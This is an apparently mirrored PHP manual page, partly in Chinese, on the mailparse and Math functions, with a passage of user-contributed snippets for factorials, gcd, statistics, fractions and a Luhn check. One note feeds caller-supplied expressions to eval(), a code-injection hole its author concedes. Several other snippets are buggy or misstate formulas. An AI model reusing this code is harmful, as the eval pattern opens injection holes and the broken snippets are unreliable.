本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
24-Nov-2004 08:12
An alternative to the mailparse_rfc822_parse_addresses() function is Mail_RFC822::parseAddressList() from Pear:

http://pear.php.net/manual/en/package.mail.mail.php

It parses the string and returns a structured tree of data. Returns a pear_error object if the string is not valid.

Example:

require_once "PEAR.php";
require_once "Mail/RFC822.php";

$addr= "Hi <hi@world.org>";

$res= Mail_RFC822::parseAddressList($addr);
if (PEAR::isError($res)) die("NOT VALID: " . $res->getMessage() . "\n");
echo "OK. Data:\n";
print_r($res);
mat at phpconsulting dot com
25-Apr-2003 12:59
If for some reason you cannot compile mailparse into your install of PHP, you will also find an extremely similar function in the Mail_MIME PEAR class, specifically in mimeDecode.php.
add a note add a note

后退 | 起点 | 前进
mailparse_msg_parse | 上一级 | mailparse_stream_encode


mailparse_stream_encode

(4.1.0 - 4.1.2 only, PECL)

mailparse_stream_encode -- Streams data from source file pointer, apply encoding and write to destfp

Description

bool mailparse_stream_encode ( resource sourcefp, resource destfp, string encoding )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mailparse_rfc822_parse_addresses | 上一级 | mailparse_uudecode_all


mailparse_uudecode_all

(PECL)

mailparse_uudecode_all -- Scans the data from fp and extract each embedded uuencoded file

Description

array mailparse_uudecode_all ( resource fp )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

Returns an array listing filename information.

add a note add a note User Contributed Notes
mat at phpconsulting dot com
25-Apr-2003 01:04
As an alternative,  uudecode() can be called as static function as follows:

$file =& Mail_mimeDecode::uudecode($some_text);

This will return the following arrays:
 @param  string Input body to look for attachments in
 @return array  Decoded bodies, filenames and permissions
add a note add a note

后退 | 起点 | 前进
mailparse_stream_encode | 上一级 | Math 数学函数


Math 数学函数

PHP 手册
后退 前进

LXVII. Math 数学函数

简介

这些数学函数仅能处理在你计算机上 integer 和 float 范围内的值（目前这对应于 C 类型中的 long 和 double)。如果要处理更大的数字，参见高精度数学函数。

请参阅手册中算术运算符的有关章节。

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量作为 PHP 核心的一部分一直有效。

表格 1. 数学常量

常量名 | 常量值 | 描述
M_PI | 3.14159265358979323846 | Pi
M_E | 2.7182818284590452354 | e
M_LOG2E | 1.4426950408889634074 | log_2 e
M_LOG10E | 0.43429448190325182765 | log_10 e
M_LN2 | 0.69314718055994530942 | log_e 2
M_LN10 | 2.30258509299404568402 | log_e 10
M_PI_2 | 1.57079632679489661923 | pi/2
M_PI_4 | 0.78539816339744830962 | pi/4
M_1_PI | 0.31830988618379067154 | 1/pi
M_2_PI | 0.63661977236758134308 | 2/pi
M_SQRTPI | 1.77245385090551602729 | sqrt(pi) [4.0.2]
M_2_SQRTPI | 1.12837916709551257390 | 2/sqrt(pi)
M_SQRT2 | 1.41421356237309504880 | sqrt(2)
M_SQRT3 | 1.73205080756887729352 | sqrt(3) [4.0.2]
M_SQRT1_2 | 0.70710678118654752440 | 1/sqrt(2)
M_LNPI | 1.14472988584940017414 | log_e(pi) [4.0.2]
M_EULER | 0.57721566490153286061 | Euler constant [4.0.2]
只有常量 M_PI 在 PHP 4.0.0 之前就存在，其它所有常量从 PHP 4.0.0 起开始存在。用 [4.0.2] 标记的常量是在 PHP 4.0.2 中增加的。

目录
abs -- 绝对值
acos -- 反余弦
acosh -- 反双曲余弦
asin -- 反正弦
asinh -- 反双曲正弦
atan2 -- 两个参数的反正切
atan -- 反正切
atanh -- 反双曲正切
base_convert -- 在任意进制之间转换数字
bindec -- 二进制转换为十进制
ceil -- 进一法取整
cos -- 余弦
cosh -- 双曲余弦
decbin -- 十进制转换为二进制
dechex -- 十进制转换为十六进制
decoct -- 十进制转换为八进制
deg2rad -- 将角度转换为弧度
exp -- 计算 e（自然对数的底）的指数
expm1 -- 返回 exp(number) - 1，甚至当 number 的值接近零也能计算出准确结果
floor -- 舍去法取整
fmod -- 返回除法的浮点数余数
getrandmax -- 显示随机数最大的可能值
hexdec -- 十六进制转换为十进制
hypot -- 计算一直角三角形的斜边长度
is_finite -- 判断是否为有限值
is_infinite -- 判断是否为无限值
is_nan -- 判断是否为合法数值
lcg_value -- 组合线性同余发生器
log10 -- 以 10 为底的对数
log1p -- 返回 log(1 + number)，甚至当 number 的值接近零也能计算出准确结果
log -- 自然对数
max -- 找出最大值
min -- 找出最小值
mt_getrandmax -- 显示随机数的最大可能值
mt_rand -- 生成更好的随机数
mt_srand -- 播下一个更好的随机数发生器种子
octdec -- 八进制转换为十进制
pi -- 得到圆周率值
pow -- 指数表达式
rad2deg -- 将弧度数转换为相应的角度数
rand -- 产生一个随机整数
round -- 对浮点数进行四舍五入
sin -- 正弦
sinh -- 双曲正弦
sqrt -- 平方根
srand -- 播下随机数发生器种子
tan -- 正切
tanh -- 双曲正切

add a note add a note User Contributed Notes
marasek.SPAMLESS at telton.de
08-Jun-2006 08:23
I could not resist to do a simpler version of the ordinal function:
<?php
function ordinal($num)
{
   $num = (int)$num;
   $digit = substr($num, -1, 1);
   $ord = "th";
   switch($digit)
   {
       case 1: $ord = "st"; break;
       case 2: $ord = "nd"; break;
       case 3: $ord = "rd"; break;
   break;
   }
return $num.$ord;
}
?>
One could replace the typecast with

<?php
if($num===NULL or $num==="")
{return NULL;}
?>

to get an empty result instead of "0th" in case $num is empty too.
moikboy (nospam!) moikboy (nospam!) hu
10-May-2006 04:15
I think, this is the optimal code for calculating factorials:

<?php
function fact($int){
   if($int<2)return 1;
   for($f=2;$int-1>1;$f*=$int--);
   return $f;
};
?>

And another one for calculating the $int-th Fibonacci-number:

<?php
function fib($int){
   static $fibTable=array();
   return empty($fibTable[$int])?$fibTable[$int] = $int>1?fib($int-2)+fib($int-1):1:$fibTable[$int];
};
?>
nessthehero at comcast dot net
22-Mar-2006 06:48
Just a simple function to find the ordinal ending to any number if you're printing for example: "The nth result is..."

function ordinal($num) {
   $digit = substr($num,-1,1);
   $ord = array(
       0 => 'th',
       1 => 'st',
       2 => 'nd',
       3 => 'rd',
       4 => 'th',
       5 => 'th',
       6 => 'th',
       7 => 'th',
       8 => 'th',
       9 => 'th'
   );
   $string = $num.$ord[$digit];
   return $string;
}
Florian
04-Mar-2006 05:36
A function that simulates the sum operator. (http://en.wikipedia.org/wiki/Sum). Be careful with the expression because it may cause a security hole; note the single quotes to don't parse the "$".
<?php
# @param    string    $expr    expression to evaluate (for example (2*$x)^2+1)
# @param    string    $var      dummy variable (for example "x")
# @param    integer    $start
# @param    integer    $end
# @param    integer    $step

function sum($expr,$var,$start,$end,$step = 1) {
   $expr = str_replace(';','',$expr);
   $var = str_replace('$','',$var);
   $start = (int)$start;    $end = (int)$end;    $step = (int)$step;    $sum = 0;

   for ($i = $start; $i <= $end; $i = $i + $step) {
       $_expr = str_replace('$'.$var,$i,$expr);
       $_eval = '$_result = '.$_expr.'; return $_result;';
       $_result = eval($_eval);
       if($result === FALSE) return "SYNTAX ERROR : $expr";
       $sum += $_result;
   }
   return (int)$sum;
}
?>
jos at gtacrime dot nl
17-Feb-2006 05:39
Thanks to Chronial "at" cyberpunkuniverse.de, I was able to create the binompdf(n, p, k) function.

<?php
function nCr($n, $k){
   if ($k > $n)
     return NaN;
   if (($n - $k) < $k)
     return nCr($n, ($n - $k));
   $return = 1;
   for ($i=0; $i<$k; $i++){
     $return *= ($n - $i) / ($i + 1);
   }
   return $return;
}

function binompdf($n, $p, $k){
   $return = nCr($n, $k) * pow($p, $k) * pow((1 - $p), ($n - $k));
   return $return;
}
?>
peter-stangl at t-online dot de
02-Feb-2006 07:16
I needed to approximate an integral because i was not able to calculate it, so i wrote this function. It approximates an integral with the composite Simpson's rule.
More information on Simpson's rule: http://en.wikipedia.org/wiki/Simpson%27s_rule

<?php

function simpsonf($x){
// returns f(x) for integral approximation with composite Simpson's rule
   return(pow((1+pow($x, (-4))), 0.5));
}
function simpsonsrule($a, $b, $n){
// approximates integral_a_b f(x) dx with composite Simpson's rule with $n intervals
// $n has to be an even number
// f(x) is defined in "function simpsonf($x)"
   if($n%2==0){
     $h=($b-$a)/$n;
     $S=simpsonf($a)+simpsonf($b);
     $i=1;
     while($i <= ($n-1)){
         $xi=$a+$h*$i;
         if($i%2==0){
           $S=$S+2*simpsonf($xi);
         }
         else{
           $S=$S+4*simpsonf($xi);
         }
         $i++;
     }
     return($h/3*$S);
     }
   else{
     return('$n has to be an even number');
   }
}

?>
daniel at g-loc dot org
02-Dec-2005 02:01
If youre an aviator and needs to calculate windcorrection angles and groundspeed (e.g. during flightplanning) this can be very useful.

$windcorrection = rad2deg(asin((($windspeed * (sin(deg2rad($tt - ($winddirection-180))))/$tas))));
$groundspeed = $tas*cos(deg2rad($windcorrection)) + $windspeed*cos(deg2rad($tt-($winddirection-180)));

You can probably write these lines more beautiful, but they work!
nbraczek at bsds dot de
27-Oct-2005 05:27
Under some circumstances, it is appropriate to round floats to a given number of significant digits. This function will do it for you:

/**
 * Round to significant digits
 *
 * @param float  $f The number to be rounded
 * @param integer $n Number of significant digits
 */
function round_significant($f, $n)
{
   if ($f==0) return $f;
   return round($f, $n-floor(log10(abs($f)))-1);
}
monte at ohrt dot com
18-Oct-2005 09:37
This is an efficient method of calculating the binomial coefficient C(n,k). This code was derived from Owant: Mastering Algorithms with Perl.

<?php
   // calculate binomial coefficient
   function binomial_coeff($n, $k) {

     $j = $res = 1;

     if($k < 0 || $k > $n)
         return 0;
     if(($n - $k) < $k)
         $k = $n - $k;

     while($j <= $k) {
         $res *= $n--;
         $res /= $j++;
     }

     return $res;

   }
?>

If you compiled php with --enable-bcmath, you can get full integer values of extremely large numbers by replacing:

$res *= $n--;
$res /= $j++;

with:

$res = bcmul($res, $n--);
$res = bcdiv($res, $j++);
crescentfreshpot at yahoo dot com
27-Jul-2005 10:50
Median:

number median ( number arg1, number arg2 [, number ...] )

number median ( array numbers )

<?php

function median()
{
   $args = func_get_args();

   switch(func_num_args())
   {
       case 0:
           trigger_error('median() requires at least one parameter',E_USER_WARNING);
           return false;
           break;

       case 1:
           $args = array_pop($args);
           // fallthrough

       default:
           if(!is_array($args)) {
               trigger_error('median() requires a list of numbers to operate on or an array of numbers',E_USER_NOTICE);
               return false;
           }

           sort($args);

           $n = count($args);
           $h = intval($n / 2);

           if($n % 2 == 0) {
               $median = ($args[$h] + $args[$h-1]) / 2;
           } else {
               $median = $args[$h];
           }

           break;
   }

   return $median;
}

?>
bjcffnet at gmail dot com
27-Jul-2005 07:57
thearbitcouncil at gmail dot com, you could just use array_sum():
<?php
function average($arr)
{
   if (!is_array($arr)) return false;

   return array_sum($arr)/count($arr);
}

$array = array(5, 10, 15);
echo average($array); // 10
?>
graywh at gmail DELETE dot com
02-Jun-2005 03:48
If you're really concerned about speed, you could compute the factorial of large numbers using the Gamma function of n-1.

Integral y^(t-1)*Exp(-y) for y from 0 to Infinity

For Fibonacci numbers, there's a better-than-recursive way.

((1+sqrt(5))/2)^(n/sqrt(5)) - ((1-sqrt(5))/2)^(n/sqrt(5))
eric at woolhiser dot com
11-Mar-2005 12:41
For all you guys writing mortgage calculators out there:

<?php

function payment($apr,$n,$pv,$fv=0.0,$prec=2){
   /* Calculates the monthly payment rouned to the nearest penny
   ** $apr = the annual percentage rate of the loan.
   ** $n  = number of monthly payments (360 for a 30year loan)
   ** $pv    = present value or principal of the loan
   ** $fv  = future value of the loan
   ** $prec = the precision you wish rounded to
   */
   /****************************************\
   ** No Warranty is expressed or implied. **
   *****************************************/

   if ($apr !=0) {
       $alpha = 1/(1+$apr/12);
       $retval =  round($pv * (1 - $alpha) / $alpha /
       (1 - pow($alpha,$n)),$prec) ;
   } else {
       $retval = round($pv / $n, $prec);
   }
   return($retval);

}
?>
tmpa at yahoo dot com
20-Feb-2005 04:42
while joogat's one line function is short, it is probably better to calculate factorial iteratively instead of recursively. keep in mind if you want large factorials, you'll need to use some sort of arbitrary precision integer or perhaps the BCMath functions. then again, unless you're trying to do large numbers (170! is the highest that you can do that does not return infinity) you probably won't notice any time difference.
<?php
function factorial($in) {
   // 0! = 1! = 1
   $out = 1;

   // Only if $in is >= 2
   for ($i = 2; $i <= $in; $i++) {
       $out *= $i;
   }

   return $out;
}
?>
thearbitcouncil at gmail dot com
07-Jan-2005 06:32
Two functions I didn't find elsewhere... one to compute mean of an array of numbers, and another to computer variance of a sample of numbers. Both take an array of numbers as arguments. Not much error checking, or optimization...

(note: variance function uses the average function...)

<?php

function average($arr)
{
   if (!count($arr)) return 0;

   $sum = 0;
   for ($i = 0; $i < count($arr); $i++)
   {
       $sum += $arr[$i];
   }

   return $sum / count($arr);
}

function variance($arr)
{
   if (!count($arr)) return 0;

   $mean = average($arr);

   $sos = 0;    // Sum of squares
   for ($i = 0; $i < count($arr); $i++)
   {
       $sos += ($arr[$i] - $mean) * ($arr[$i] - $mean);
   }

   return $sos / (count($arr)-1);  // denominator = n-1; i.e. estimating based on sample
                                   // n-1 is also what MS Excel takes by default in the
                                   // VAR function
}

echo variance(array(4,6,23,15,18)); // echoes 64.7...correct value :)

?>
info at gavinvincent dot co dot uk
17-Nov-2004 08:34
If you need to deal with polar co-ordinates for somereason you will need to convert to and from x,y for input and output in most situations: here are some functions to convert cartesian to polar and polar to cartesian
<?
//returns array of r, theta in the range of 0-2*pi (in radians)
function rect2polar($x,$y)
{
     if(is_numeric($x)&&is_numeric($y))
   {
       $r=sqrt(pow($x,2)+pow($y,2));
       if($x==0)
       {
             if($y>0) $theta=pi()/2;
           else $theta=3*pi()/2;
       }
       else if($x<0) $theta=atan($y/$x)+pi();
       else if($y<0) $theta=atan($y/$x)+2*pi();
       else $theta=atan($y/$x);
       $polar=array("r"=>$r,"theta"=>$theta);
       return $polar;
   }
   else return false;
}

//r must be in radians, returns array of x,y
function polar2rect($r,$theta)
{
 if(is_numeric($r)&&is_numeric($theta))
 {
       $x=$r*cos($theta);
   $y=$r*sin($theta);
   $rect=array("x"=>$x,"y"=>$y);
 }
 else
 {
   return false;
 }
}
?>
help at gjbdesign dot com
26-Sep-2004 12:05
Occasionally a user must enter a number in a form. This function converts fractions to decimals and leaves decimals untouched. Of course, you may wish to round the final output, but that is not included here.

<?php
/*Some example values of $q
$q = "2.5";
$q = "2 1/2";
$q = "5/2";
*/
function Deci_Con($q){
//check for a space, signifying a whole number with a fraction
   if(strstr($q, ' ')){
       $wa = strrev($q);
       $wb = strrev(strstr($wa, ' '));
       $whole = true;//this is a whole number
   }
//now check the fraction part
   if(strstr($q, '/')){
       if($whole==true){//if whole number, then remove the whole number and space from the calculations
             $q = strstr($q, ' ');
       }
$b = str_replace("/","",strstr($q, '/'));//this is the divisor
//isolate the numerator
$c = strrev($q);
$d = strstr($c, '/');
$e = strrev($d);
$a = str_replace("/","",$e);//the pre-final numerator
       if($whole==true){//add the whole number to the calculations
           $a = $a+($wb*$b);//new numerator is whole number multiplied by denominator plus original numerator
       }
$q = $a/$b;//this is now your decimal
return $q;
   }else{
       return $q;//not a fraction, just return the decimal
   }
}?>
donnieb819 at hotmail dot NOSPAM dot com
16-Sep-2004 08:58
Method to convert an arbitrary decimal number to its most reduced fraction form (so a string is returned, this method would probably be used for output formatting purposes.)  There were other methods similar to this one on the page, but none did quite what I wanted.  It's maybe not the most elegant code, but it gets the job done.  Hope this helps someone.  An iterative form of Euclid's algorithm is used to find the GCD.

<?php
function dec2frac( $decimal )
{
  $decimal = (string)$decimal;
  $num = '';
  $den = 1;
  $dec = false;

  // find least reduced fractional form of number
  for( $i = 0, $ix = strlen( $decimal ); $i < $ix; $i++ )
  {
   // build the denominator as we 'shift' the decimal to the right
   if( $dec ) $den *= 10;

   // find the decimal place/ build the numberator
   if( $decimal{$i} == '.' ) $dec = true;
   else $num .= $decimal{$i};
  }
  $num = (int)$num;

  // whole number, just return it
  if( $den == 1 ) return $num;

  $num2 = $num;
  $den2 = $den;
  $rem  = 1;
  // Euclid's Algorithm (to find the gcd)
  while( $num2 % $den2 ) {
   $rem = $num2 % $den2;
   $num2 = $den2;
   $den2 = $rem;
  }
  if( $den2 != $den ) $rem = $den2;

  // now $rem holds the gcd of the numerator and denominator of our fraction
  return ($num / $rem ) . "/" . ($den / $rem);
}
?>

Examples:
echo dec2frac( 10 );
echo dec2frac( .5 );
echo dec2frac( 5.25 );
echo dec2frac( .333333333 );

yields:
10
1/2
21/4
333333333/1000000000
pat.mat AT sympatico DOT com
09-Jun-2004 10:36
For people interest in Differential Equations, I've done a function that receive a string like: x^2+x^3 and put it in
2x+3x^2 witch is the differantial of the previous equation.

In the code there is one thing missing: the $string{$i} is often going outOfBound (Uninitialized string offset: 6 in...)
if your error setting is set a little too high... I just dont know how to fix this.

So there is the code for differential equation with (+ and -) only:

<?
function differentiel($equa)
{
   $equa = strtolower($equa);
   echo "Equation de depart: ".$equa."<br>";
   $final = "";

   for($i = 0; $i < strlen($equa); $i++)
   {
       //Make a new string from the receive $equa
       if($equa{$i} == "x" && $equa{$i+1} == "^")
       {
           $final .= $equa{$i+2};
           $final .= "x^";
           $final .= $equa{$i+2}-1;
       }
       elseif($equa{$i} == "+" || $equa{$i} == "-")
       {
           $final .= $equa{$i};
       }
       elseif(is_numeric($equa{$i}) && $i == 0)
       {
           //gerer parenthese et autre terme generaux + gerer ^apres: 2^2
           $final .= $equa{$i}."*";
       }
       elseif(is_numeric($equa{$i}) && $i > 0 && $equa{$i-1} != "^")
       {
           //gerer ^apres: 2^2
           $final .= $equa{$i}."*";
       }
       elseif($equa{$i} == "^")
       {
           continue;
       }
       elseif(is_numeric($equa{$i}) && $equa{$i-1} == "^")
       {
           continue;
       }
       else
       {
           if($equa{$i} == "x")
           {
               $final .= 1;
           }
           else
           {
               $final .= $equa{$i};
           }
       }
   }
   //
   //Manage multiplication add in the previous string $final
   //
   $finalMul = "";
   for($i = 0; $i < strlen($final); $i++)
   {
       if(is_numeric($final{$i}) && $final{$i+1} == "*" && is_numeric($final{$i+2}))
       {
           $finalMul .= $final{$i}*$final{$i+2};
       }
       elseif($final{$i} == "*")
       {
           continue;
       }
       elseif(is_numeric($final{$i}) && $final{$i+1} != "*" && $final{$i-1} == "*")
       {
           continue;
       }
       else
       {
           $finalMul .= $final{$i};
       }
   }
   echo "equa final: ".$finalMul;
}
?>

I know this is not optimal but i've done this quick :)
If you guys have any comment just email me.
I also want to do this fonction In C to add to phpCore maybe soon...
Patoff
moc.erawtfostym@evad
27-May-2004 10:04
The fastest O(1) factorial function has a lookup table of all the factorials that fit within the output range. With an array of the first 34 (float) or 170 (double) factorials, you get identical results in a fraction of the time.
churkl at hotmail dot com
26-May-2004 04:32
Here is my factorial function which i think is very simple and without any confusion. email me comments if you like if i had something wrong.

<?php
function factorial($number)
{
   $temp = 1;
   while ($number > 1){
       $temp *= $number--;
   }
   return $temp;
}
?>
ausvald at tut dot by
01-May-2004 08:48
I see there are some factorial functions below.

I'll provide the best one:

<?
function factorial($n){ $n=(int)$n;
  $f=1;
  for(;$n>0;--$n) $f*=$n;
  return $f;
}
?>
florian at shellfire dot de
29-Apr-2004 05:48
Please note that shorter is not always better
(meaning that really short faculty implementation above).

In my opinion, a clearer way to code this is, including a check
for negative or non-integer values.

In order to calculate the faculty of a positive integer,
an iterative way (which might be harder to understand)
is usually a bit faster, but I am using it only for small
values so it is not really important to me:

<?php

   // Calculate the Faculty of a positive int-value
   function iFaculty($a_iFac)
   {
     if ($a_iFac > 0)
     {
         return $a_iFac * $this->iFaculty($a_iFac - 1);
     }
     elseif ($a_iFac == 0)
     {
         return 1;
     }
     else
     {
         return 0;  // Wrong argument!
     }
   }
?>

I've also written another function to calculate the
binomial coefficient of 2 values, I didn't find it anywhere yet so I hope it might help someone (works fine with the above stated faculty-function and ready to be used inside of your own classes!)

<?php

   // calculates the binomial coefficient "n over k" of 2 positive int values
   // fr n >= k
   function iBinCoeff($a_iN, $a_iK)
   {
       // the binomial coefficient is defined as n! / [ (n-k)! * k! ]
       return $this->iFaculty($a_iN) / ($this->iFaculty($a_iN - $a_iK) * $this->iFaculty($a_iK));
   }

?>
Chronial "at" cyberpunkuniverse.de
14-Jan-2004 05:47
Here are are a nPr and a nPc function
(had to define NaN - don't know, how to this the "rigth" way)

<?php
define (NaN,acos(1.01));

function nCr($n,$r){
   if ($r > $n)
     return NaN;
   if (($n-$r) < $r)
     return nCr($n,($n-$r));
   $return = 1;
   for ($i=0;$i < $r;$i++){
     $return *= ($n-$i)/($i+1);
   }
   return $return;
}

function nPr($n,$r){
   if ($r > $n)
     return NaN;
   if ($r)
     return $n*(nPr($n-1,$r-1));
   else
     return 1;
}
?>
chris at free-source dot com
08-Oct-2003 12:37
to "convert" scientific notation to a float simply cast it:
<?php
$val = '3.5e4';
$val = (float) $val;
echo $val;
?>

output:
35000
jl85 at yahoo dot com
05-Oct-2003 07:00
Here's yet another greatest common denominator (gcd) function, a reeeeally small one.

function gcd($n,$m){
if(!$m)return$n;return gcd($m,$n%$m);
}

It works by recursion. Not really sure about it's speed, but it's really small! This won't work on floating point numbers accurately though. If you want a floating point one, you need to have at least PHP 4, and the code would be

function gcd($n,$m){
if(!$m)return$n;return gcd($m,fmod($n,$m));
}
fabien_mornand at yahoo dot fr
01-Oct-2003 06:46
here is an algorithm to calculate gcd of a number. This is Euclid algorithm i was studying in Maths. I've converted it in php for the fun.

<?php
 if($a && $b)
  { $ax=$a; $bx=$b;
   $r=fmod($a,$b);
  if(!$r){$rx=$r;}
   while($r){
   $rx=$r;
   $a=$b;
   $b=$r;
   $r=fmod($a,$b);
   }
   }
echo 'PGCD ('.$ax.' , '.$bx.' ) = '.$rx;
?>
jordanolsommer at imap dot cc
27-Aug-2003 11:07
The reason the bitwise AND ("&") operator works to determine whether a number is odd or even is because odd numbers expressed in binary always have the rightmost (2^0) bit = 1 and even numbers always have the 2^0 bit = 0.

So if you do a " 1 & $num", it will return zero if the number is even (since xxxxxxx0 [the even number in binary] and 00000001 [the 1]) don't share any bits, and will return 1 if the number is odd (xxxxxx1 and 000001).

a clever way of doing things, but $num % 2 would work as well i think :).
matthew_gaddis at yahoo dot com
25-Apr-2003 05:23
Here is a cleaner factorial function:

function factorial($s){
   if($s) $r = $s * factorial($s - 1);
   else $r = 1;
   return $r;
}
jerry dot wilborn at fast dot net
17-Apr-2003 02:10
Here is how to calculate standard deviation in PHP where $samples is an array of incrementing numeric keys and the values are your samples:

$sample_count = count($samples);

for ($current_sample = 0; $sample_count > $current_sample; ++$current_sample) $sample_square[$current_sample] = pow($samples[$current_sample], 2);

$standard_deviation = sqrt(array_sum($sample_square) / $sample_count - pow((array_sum($samples) / $sample_count), 2));
jl85 at yahoo dot com
23-Feb-2003 12:04
Theres another faster way of doing even/odd number checking by using bitwise operators. Don't ask me how it works, I just found this out by experimenting with it (could the editor possibly explain?)

if ((1&$num)) {
 echo "$num is odd";
}

if (!(1&$num)) {
 echo "$num is even";
}

How it works is (1&$num) returns a 1 for odd numbers and returns 0 when it's an even number.
php at casaforge dot com (Hal)
01-Feb-2003 09:25
This might be useful in generating fractional numbers for construction, if only because most carpenters would rather put a nail in your foot than hear about any number that ends with .8125".

Since I couldn't figure out the fraction code above, this is my simple-minded take on the problem. Also, align by "char" doesn't seem to work yet in html, so it seems necessary to use tables (egad!) to make numbers align properly. The following code illustrates a way to make a dynamically sized table with aligned fractions from an array of random numbers. Since I don't care about fractions less than 1/16, this rounds them into oblivion. Also, it sorts the list from long to short and collates multiples in the array. One bit of cleverness here (gleaned from these pages) that might not be obvious: I'm using 1 *bitwise and* (1 &) to determine odd numbers.

If you copy and paste the following code, try refreshing the page a few times to see how the table adjusts itself.

<?php

// get some numbers to play with

$x = rand(0,130000)/10;
$y = rand(0,1200);
$z = rand(0,4)/64;
$array = array($x, $x, $x, $y, $y, $z, 324.19, 425/7, sqrt(2), pi(), pi());

// functions

function mult($n) { return intval (round ($n*16)); }

function frac($num) { $mod = fmod ($num,1)*16;
if (1 & $mod) { return " - ".$mod."/16"; }
else $mod = $mod/2;
if (1 & $mod) { return " - ".$mod."/8"; }
else $mod = $mod/2;
if (1 & $mod) { return " - ".$mod."/4"; }
else $mod = $mod/2;
if (1 & $mod) {return " - ".$mod."/2";}
}

// make a table

echo '<table>';
$array = array_map("mult", $array);
$array = (array_filter($array, strval)); //get rid of zeros
$array = (array_count_values ($array));
krsort ($array);
while (list ($key, $val) = each ($array)) {
$key = $key/16;
echo "<tr><td>$val</td><td>&nbsp; @ &nbsp;</td><td align=\"right\">".intval($key)." </td><td> ".frac($key)." </td></tr>";
}
echo '</table>';

?>
nazgul26 (at_sign) windfox dot net
09-Dec-2002 06:58
This code will convert a decimal to it's fraction equivalent. The precision can be set by changing PRECISION.

<?php
define(PRECISION, .01);

$count=0;
$result=array();
decimalToFraction($_REQUEST['dec'],$count,&$result);
$count = count($result);
$simp_fract = simplifyFraction($result,$count,1,$result[$count]);

echo $simpl_fract;

// Start of functions

/*
   Converts a decimal to unsimplified fraction represented in an array
*/
function decimalToFraction($decimal,$count,$result) {
   $a = (1/$decimal);
   $b = ( $a - floor($a)  );
   $count++;
   if ($b > .01 && $count <= 5) decimalToFraction($b,$count,&$result);
   $result[$count] = floor($a);
}

/*
   Simplifies a fraction in an array form that is returned from
   decimalToFraction
*/
function simplifyFraction($fraction,$count,$top,$bottom) {
   $next = $fraction[$count-1];
   $a = ($bottom * $next) + $top;
   $top = $bottom;
   $bottom = $a;
   $count--;
   if ($count > 0) simplifyFraction($fraction,$count,$top,$bottom);
   else {
       return "<font size=1>$bottom/$top</font>";
   }
}
?>
jbeardsl at gte dot net
10-Nov-2002 02:36
I needed a truncate function to operate on real numbers. I preferred not to use a string-manipulation method, so here's my solution. HTH...

function truncate ($num, $digits = 0) {

   //provide the real number, and the number of
   //digits right of the decimal you want to keep.

   $shift = pow(10 , $digits);
   return ((floor($num * $shift)) / $shift);

}
jbeardsl [found_at] gte [d0t] net
09-Nov-2002 05:15
I was looking for a truncate function. Not finding one, I wrote my own. Since it deals with everything as a number, I imagine it's faster than the alternative of using string functions. HTH...

<?php
function truncate ($num, $digits = 0) {

   //provide the real number, and the number of
   //digits right of the decimal you want to keep.

   $shift = pow(10, $digits);
   return ((floor($num * $shift)) / $shift);
}
?>
patience at worldonline dot nl
06-Aug-2002 12:08
The example for Factorials given above is wrong. Here a correct version, so that you do not have to reinvent the wheel again...

<?php
function mathFact( $s )
{
  $r = (int) $s;

  if ( $r < 2 )
   $r = 1;
  else {
   for ( $i = $r-1; $i > 1; $i-- )
     $r = $r * $i;
  }

  return( $r );
}
?>
shanx at shanx dot com
09-Jul-2002 04:13
<?

/**
 * Function to calculate base36 values from a number. Very
 * useful if you wish to generate IDs from numbers.
 *
 * @param $value The number
 * @param $base The base to be applied (16, 36 or 64)
 * @return The calculated string
 * @author Shashank Tripathi (shanx@shanx.com)
 * @version 0.1 - Let me know if something doesnt work
 *
 */

function base36($value, $base)
{
   $baseChars = array('0', '1', '2', '3', '4', '5',
                       '6', '7', '8', '9', 'a', 'b',
                       'c', 'd', 'e', 'f', 'g', 'h',
                       'i', 'j', 'k', 'l', 'm', 'n',
                       'o', 'p', 'q', 'r', 's', 't',
                       'u', 'v', 'w', 'x', 'y', 'z'
                     );

   $remainder = 0;
   $newval = "";

   while ( $value > 0 )
   {
       $remainder = $value % $base;
       $value = ( ($value - $remainder)/ $base );
       $newval .= $baseChars[$remainder];
   }
   return strrev($newval);

}

echo "The string for 46655, for instance, is " . base36(46655, 36);

?>
webkid%webkid.com
01-Jun-2002 06:54
And the reason I needed a Factorial function is because I there were no nPr or nCr functions native to PHP, either.

function n_pick_r($n,$r){$n=(int)$n; $r=(int)$r;return (fact($n)/fact($n-$r));}
function n_choose_r($n,$r){$n=(int)$n; $r=(int)$r;return (n_pick_r($n,$r)/fact($r));}

Hope that helps someone!
webkid%webkid.com
01-Jun-2002 06:49
I found it kind of irritating that PHP had no native functionality for a calculating Factorials. Since I really didn't feel like loading the GMP library, I figured I'd write my own function.

function fact($s){$r=(int)$s; for ($i=$r;$i--;$i>1){$r=$r*$i;} return $r;}

I think that's right... I havn't tested it extensively but it should work.
cornelius at skjoldhoej dot dk
13-Jun-2001 05:03
I found that when dealing with tables, a 'least common multiple' function is sometimes useful for abusing tablespan and the likes.

So here goes (you may choose to remove the first part of the gcd function if the function call is well-behaved):

<?php
function gcd(n, m) //greatest common divisor
{
   n=abs(n); m=abs(m);
   if (n==0 and m==0)
       return 1; //avoid infinite recursion
   if (n==m and n>=1)
       return n;
   return m<n?gcd(n-m,n):gcd(n,m-n);
}

function lcm(n, m) //least common multiple
{
   return m*(n/gcd(n,m));
}
?>

This may or may not be something to consider adding to the mathematical function library.
ian at mp3 dot com
20-Feb-2001 07:43
for those looking for a credit card verification function i wrote a simple LUHN Formula algorithm:

<?php
$valid = 1;

$numOfDigits = 0 - strlen($ccNumber);

$i = -1;
while ($i>=$numOfDigits){
  if (($i % 2) == 0){
   $double = 2*(substr($ccNumber, $i, 1));
   $total += substr($double,0,1);
   if (strlen($double > 1)){
     $total += substr($double,1,1);
   }
  } else {
   $total += substr($ccNumber, $i, 1);
